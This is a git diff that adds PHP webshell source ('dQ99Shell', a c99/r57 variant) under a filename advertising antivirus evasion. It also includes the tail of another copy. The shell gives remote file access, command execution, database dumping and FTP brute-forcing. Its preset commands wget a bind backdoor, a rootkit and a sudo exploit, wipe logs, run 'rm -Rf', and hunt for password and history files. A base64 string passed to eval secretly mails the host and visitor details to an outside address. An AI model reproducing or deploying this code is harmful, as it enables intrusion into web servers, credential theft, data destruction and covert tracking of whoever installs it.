"c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + return $type.join("",$owner).join("",$group).join("",$world); +} +function parse_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +function parsesort($sort) { + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +function view_perms_color($o) { + if (!is_readable($o)) {return "".view_perms(fileperms($o))."";} + elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";} + else {return "".view_perms(fileperms($o))."";} +} +function str2mini($content,$len) { + if (strlen($content) > $len) { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } else {return $content;} +} +function strips(&$arr,$k="") { + if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } } + else { $arr = stripslashes($arr); } +} + +function getmicrotime() { + list($usec, $sec) = explode(" ", microtime()); + return ((float)$usec + (float)$sec); +} + +function milw0rm() { + $Lversion = php_uname(r); + $OSV = php_uname(s); + if(eregi("Linux",$OSV)) { + $Lversion = substr($Lversion,0,6); + return "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion; + } else { + $Lversion = substr($Lversion,0,3); + return "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion; + } +} +function tools() { + echo "List of tools"; +} + +function sh_name() { return base64_decode("ZGlLaSBkUTk5c2hlbGwgdg==").sh_ver; } +function htmlhead($safemode) { +$style = ' + +'; +$html_start = ' + +'.getenv("HTTP_HOST").' - '.sh_name().' +'.$style.' + + + +

    '.sh_name().'

    .: r57.biz Dq99Shell :.
    +'; +return $html_start; +}; +function footer() { + echo "
    By www.r57.biz, ?2008 FeeLCoMz Community, Generated: ".round(getmicrotime()-starttime,4)." seconds
    "; +} +chdir($lastdir); dQ99shexit(); +?> \ No newline at end of file diff --git a/www-7jyewu-cn/国外免杀php大马.php b/www-7jyewu-cn/国外免杀php大马.php new file mode 100644 index 0000000..14076b9 --- /dev/null +++ b/www-7jyewu-cn/国外免杀php大马.php @@ -0,0 +1,3112 @@ + array($sh_mainurl."readme.txt","kiddie.php"), + "psyBNC" => array($sh_mainurl."dQBNC.tar.gz","dQBNC.tar.gz"), + "Eggdrop" => array($sh_mainurl."allnet.tar.gz","allnet.tar.gz"), + "BindDoor" => array($sh_mainurl."bind.tgz","bind.tgz"), +); +##[ AUTHENTICATION ]## +$auth = array( + "login" => "", + "pass" => "", + "md5pass" => "", + "hostallow" => array("*"), + "denied" => "".$sh_name.": access denied!", +); +##[ END AUTHENTICATION ]## +$curdir = "./"; +$tmpdir = ""; +$tmpdir_logs = "./"; +$log_email = "ayam@jago.us"; #Email logna +$sess_cookie = "dQ99shcook"; +$sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending +$sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies. +$usefsbuff = TRUE; +$copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste +$surl_autofill_include = TRUE; +$updatenow = FALSE; +$gzipencode = TRUE; +$filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses. +$hexdump_lines = 8; +$hexdump_rows = 24; +$millink = milw0rm(); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +$disablefunc = getdisfunc(); +##[ END OF CONFIGS ]## +error_reporting(E_ERROR | E_PARSE); +@ini_set("max_execution_time",0); +@set_time_limit(0); #No dQ in SafeMode +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) { strips($GLOBALS); } +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +@$f = $_REQUEST["f"]; +@extract($_REQUEST["dQ99shcook"]); +foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } } +$dQbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RdQ0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gImRROTlTaGVsbCBodHRwOi8vJHRhcmdldCBzYW1hICR2aXNpdG9yIjsNCiAgJGJvZHkgICAgPSAiQnVnOiAkdGFyZ2V0IHNhbWEgJHZpc2l0b3I8YnI+IjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiZGhpZXF3ZWJtYXJrZXJAeWFob28uY29tIiwkanVkdWwsJGJvZHkpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw=="; eval(base64_decode($dQbuff)); +if ($surl_autofill_include) { + $include = "&"; + foreach (explode("&",getenv("QUERY_STRING")) as $v) { + $v = explode("=",$v); + $name = urldecode($v[0]); + $value = @urldecode($v[1]); + foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) { + if (strpos($value,$needle) === 0) { + $includestr .= urlencode($name)."=".urlencode($value)."&"; + } + } + } +} +if (empty($surl)) { + $surl = "?".$includestr; + $surl = htmlspecialchars($surl); +} +## FILE TYPES ## +$ftypes = array( + "html" => array("html","htm","shtml"), + "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe" => array("sh","install","bat","cmd"), + "ini" => array("ini","inf","conf"), + "code" => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img" => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb" => array("sdb"), + "phpsess" => array("sess"), + "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"",""), + array("\.tgz$",1,"",""), + array("\.gz$",1,"",""), + array("\.tar$",1,"",""), + array("\.bz2$",1,"",""), + array("\.zip$",1,"",""), + array("\.rar$",1,"",""), + array("\.php$",1,"",""), + array("\.php3$",1,"",""), + array("\.php4$",1,"",""), + array("\.jpg$",1,"",""), + array("\.jpeg$",1,"",""), + array("\.JPG$",1,"",""), + array("\.JPEG$",1,"",""), + array("\.ico$",1,"",""), + array("\.gif$",1,"",""), + array("\.png$",1,"",""), + array("\.htm$",1,"",""), + array("\.html$",1,"",""), + array("\.txt$",1,"","") +); +## QUICK COMMANDS ## +if (!$win) { + $cmdaliases = array( + array("", "ls -al"), + array("Find all suid files", "find / -type f -perm -04000 -ls"), + array("Find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("Find all sgid files", "find / -type f -perm -02000 -ls"), + array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("Find config.inc.php files", "find / -type f -name config.inc.php"), + array("Find config* files", "find / -type f -name \"config*\""), + array("Find config* files in current dir", "find . -type f -name \"config*\""), + array("Find all writable folders and files", "find / -perm -2 -ls"), + array("Find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("Find all writable folders", "find / -type d -perm -2 -ls"), + array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"), + array("Find all service.pwd files", "find / -type f -name service.pwd"), + array("Find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("Find all .htpasswd files", "find / -type f -name .htpasswd"), + array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("Find all .bash_history files", "find / -type f -name .bash_history"), + array("Find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("List file attributes on a Linux second extended file system", "lsattr -va"), + array("Show opened ports", "netstat -an | grep -i listen") + ); + $cmdaliases2 = array( + array("wget & extract psyBNC","wget ".$sh_mainurl."dQ.tgz;tar -zxf dQ.tgz"), + array("wget & extract EggDrop","wget ".$sh_mainurl."dQb.tgz;tar -zxf dQb.tgz"), + array("-----",""), + array("Logged in users","w"), + array("Last to connect","lastlog"), + array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"), + array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"), + array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"), + array("Downloaders?","which wget curl w3m lynx fetch lwp-download"), + array("CPU Info","cat /proc/version /proc/cpuinfo"), + array("Is gcc installed ?","locate gcc"), + array("Format box (DANGEROUS)","rm -Rf"), + array("-----",""), + array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"), + array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"), + array("Run WIPELOGS PT3","./zap2"), + array("-----",""), + array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"), + array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf bind.tgz;./4877"), + array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"), + ); +} +else { + $cmdaliases = array( + array("", "dir"), + array("Find index.php in current dir", "dir /s /w /b index.php"), + array("Find *config*.php in current dir", "dir /s /w /b *config*.php"), + array("Find c99shell in current dir", "find /c \"c99\" *"), + array("Find r57shell in current dir", "find /c \"r57\" *"), + array("Find dQ99shell in current dir", "find /c \"dQ99\" *"), + array("Show active connections", "netstat -an"), + array("Show running services", "net start"), + array("User accounts", "net user"), + array("Show computers", "net view"), + ); +} +## PHP FILESYSTEM TRICKS (By diKi) ## +$phpfsaliases = array( + array("Read File", "read", 1, "File", ""), + array("Write File (PHP5)", "write", 2, "File","Text"), + array("Copy", "copy", 2, "From", "To"), + array("Rename/Move", "rename", 2, "File", "To"), + array("Delete", "delete", 1 ,"File", ""), + array("Make Dir","mkdir", 1, "Dir", ""), + array("Download", "download", 2, "URL", "To"), + array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"), + array("Change Perm (0755)", "chmod", 2, "File", "Perms"), + array("Find Writable Dir", "fwritabledir", 2 ,"Dir"), + array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"), +); +## QUICK LAUNCH ## +$quicklaunch1 = array( + array("\"Home\"",$surl), + array("\"Back\"","#\" onclick=\"history.back(1)"), + array("\"Forward\"","#\" onclick=\"history.go(1)"), + array("\"Up\"",$surl."act=ls&d=%upd&sort=%sort"), + array("\"Search\"",$surl."act=search&d=%d"), + array("\"Buffer\"",$surl."act=fsbuff&d=%d") +); +$quicklaunch2 = array( + array("Security Info",$surl."act=security&d=%d"), + array("Processes",$surl."act=processes&d=%d"), + array("MySQL",$surl."act=sql&d=%d"), + array("Eval",$surl."act=eval&d=%d"), + array("Encoder",$surl."act=encoder&d=%d"), + array("Mailer",$surl."act=dQmailer"), + array("milw0rm",$millink), + array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"), + array("Toolz",$surl."act=tools&d=%d"), + array("Kill-Shell",$surl."act=selfremove"), + array("Feedback",$surl."act=feedback"), + array("Update",$surl."act=update"), + array("About",$surl."act=about") +); +if (!$win) { + $quicklaunch2[] = array("
    FTP-Brute",$surl."act=ftpquickbrute&d=%d"); +} +## HIGHLIGHT CODE ## +$highlight_background = "#C0C0C0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; +#################### +##[ AUTHENTICATE ]## +#################### +$tmp = array(); +foreach ($auth["hostallow"] as $k => $v) { + $tmp[] = str_replace("\\*",".*",preg_quote($v)); +} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) { + exit("$sh_name: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed"); +} +if (!empty($auth["login"])) { + if (empty($auth["md5pass"])) { $auth["md5pass"] = md5($auth["pass"]); } + if (($_SERVER["PHP_AUTH_USER"] != $auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"]) != $auth["md5pass"])) { + header("WWW-Authenticate: Basic realm=\"".$sh_name.": Restricted Area\""); + header("HTTP/1.0 401 Unauthorized"); + die($auth["denied"]); + } +} +## END AUTHENTICATE ## + +if ($act != "img") { + $lastdir = realpath("."); + chdir($curdir); + if ($updatenow) { @ob_clean(); dQ99sh_getupdate(1); exit; } + $sess_data = @unserialize($_COOKIE["$sess_cookie"]); + if (!is_array($sess_data)) { $sess_data = array(); } + if (!is_array($sess_data["copy"])) { $sess_data["copy"] = array(); } + if (!is_array($sess_data["cut"])) { $sess_data["cut"] = array(); } + dQ99_buff_prepare(); + foreach (array("sort","sql_sort") as $v) { + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} + } + if ($sort_save) { + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} + } + if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} + if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} + if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} + if (!function_exists("mysql_dump")) { + function mysql_dump($set) { + global $sh_ver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) { + //Retrieve tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = " + # Dumped by ".$sh_name." + # + # Host settings: + # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." + # Date: ".date("d.m.Y H:i:s")." + # DB: \"".$db."\" + #---------------------------------------------------------"; + $c = count($onlytabs); + foreach($tabs as $tab) { + if ((in_array($tab,$onlytabs)) or (!$c)) { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + //Receieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + //Receieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_assoc($res)) { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; + } + } + if (!function_exists("mysql_buildwhere")) { + function mysql_buildwhere($array,$sep=" and",$functs=array()) { + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; + } + } + if (!function_exists("mysql_fetch_all")) { + function mysql_fetch_all($query,$sock) { + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; + } + } + if (!function_exists("mysql_smarterror")) { + function mysql_smarterror($type,$sock) { + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; + } + } + if (!function_exists("mysql_query_form")) { + function mysql_query_form() { + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ".$sql_query_error."
    ";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) { + echo ""; + if ($tbl_struct) { + echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":



    Fields:
    "; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ ".$name."
    ";} + echo "
    "; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} + } + } + if (!function_exists("mysql_create_db")) { + function mysql_create_db($db,$sock="") { + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} + } + } + if (!function_exists("mysql_query_parse")) { + function mysql_query_parse($query) { + $query = trim($query); + $arr = explode (" ",$query); + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) { + foreach($arr as $k=>$v) { + if (strtoupper($v) == "LIMIT") { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} + } + } + if ($act == "gofile") { + if (is_dir($f)) { $act = "ls"; $d = $f; } + else { $act = "f"; $d = dirname($f); $f = basename($f); } + } + ## HEADERS ## + @ob_start(); + @ob_implicit_flush(0); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", FALSE); + header("Pragma: no-cache"); + if (empty($tmpdir)) { + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} + } + $tmpdir = realpath($tmpdir); + $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); + if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} + if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} + else {$tmpdir_logs = realpath($tmpdir_logs);} + $sort = htmlspecialchars($sort); + if (empty($sort)) {$sort = $sort_default;} + $sort[1] = strtolower($sort[1]); + $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); + if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} + $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()."",htmlspecialchars($DISP_SERVER_SOFTWARE)); + @ini_set("highlight.bg",$highlight_bg); + @ini_set("highlight.comment",$highlight_comment); + @ini_set("highlight.default",$highlight_default); + @ini_set("highlight.html",$highlight_html); + @ini_set("highlight.keyword",$highlight_keyword); + @ini_set("highlight.string",$highlight_string); + if (!is_array($actbox)) { $actbox = array(); } + $dspact = $act = htmlspecialchars($act); + $disp_fullpath = $ls_arr = $notls = null; + $ud = @urlencode($d); + if (empty($d)) {$d = realpath(".");} + elseif(realpath($d)) {$d = realpath($d);} + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $d = str_replace("\\\\","\\",$d); + $dispd = htmlspecialchars($d); + $safemode = safemode(); + if ($safemode) { + $hsafemode = "SAFE MODE IS ON"; + $safemodeexecdir = @ini_get("safe_mode_exec_dir"); + } + else { $hsafemode = "SAFE MODE IS OFF"; } + $v = @ini_get("open_basedir"); + if ($v or strtolower($v) == "on") { + $openbasedir = TRUE; + $hopenbasedir = "".$v.""; + } + else { + $openbasedir = FALSE; + $hopenbasedir = "OFF (not secure)"; + } + +################## +##[ HTML START ]## +################## +function srv_info($title,$contents) { + echo "$title:$contents\n"; +} +echo htmlhead($hsafemode); +echo ""; +echo "\n"; +echo "\n". + "\n"; +echo "\n"; +echo "\n"; +echo "\n". + "\n
    \n"; +echo "
    $hsafemode
    \n"; +echo "
    "; +echo "IP Address: ".@gethostbyname($_SERVER["HTTP_HOST"])." ". + "You: ".$_SERVER["REMOTE_ADDR"]." ". + ($win?"Drives: ".disp_drives($d,$surl):""); +echo "
    \n
    \n"; +echo "\n"; +srv_info("Software","".$DISP_SERVER_SOFTWARE); +srv_info("Uname",php_uname()); +srv_info("User",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : dQ99exec("id")); +echo "
    \n"; +echo "\n"; +srv_info("Freespace",disp_freespace($d)); +echo "
    \n"; +echo get_status(); +echo "
    \n"; +echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."
    \n" : ""; +echo showdisfunc() ? "DisFunc: ".showdisfunc()."\n" : ""; +echo "
    "; +echo "

    \n"; +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) { + $t = ""; $j = 0; + foreach ($e as $r) { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) { break; } + $j++; + } + echo "".htmlspecialchars($b).DIRECTORY_SEPARATOR."\n"; + $i++; +} +echo " - "; +if (is_writable($d)) { + $wd = TRUE; + $wdt = "[OK]"; + echo "".view_perms(fileperms($d)).""; +} +else { + $wd = FALSE; + $wdt = "[Read-Only]"; + echo "".view_perms_color($d).""; +} +echo "\n

    \n"; +?> +
    +
    +Directory: +
    +
    +
    +\n"; +if ($act == "") { $act = $dspact = "ls"; } +if ($act == "sql") { + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + echo "

    Attention! MySQL Manager is NOT a ready module! Don't reports bugs.

    ". + "". + ""; + if (!$sql_sock) { + echo ""; +} +echo "
    "; + if ($sql_server) { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo ".: SQL Manager :.
    "; + if (!$sql_sock) { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "Can't connect! ".$err;} + } + else { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
    "; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + } + echo "
  • If login is null, login is owner of process.
  • If host is null, host is localhost
  • If port is null, port is 3306 (default)
  • "; + echo ""; + } + else { + //Start left panel + if (!empty($sql_db)) { + ?>
    Please, fill the form:
    UsernamePasswordDatabase
    HostPORT
    ">Home
    + ".htmlspecialchars($sql_db)." ]---
    "; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "".htmlspecialchars($row[0])." (".$count_row[0].")
    "; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else { + ?>
    Home
    +

    Please, select database
    +
    "; + //Start center panel + $diplay = TRUE; + if ($sql_db) { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "
    There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
    "; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + echo "
    "; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} 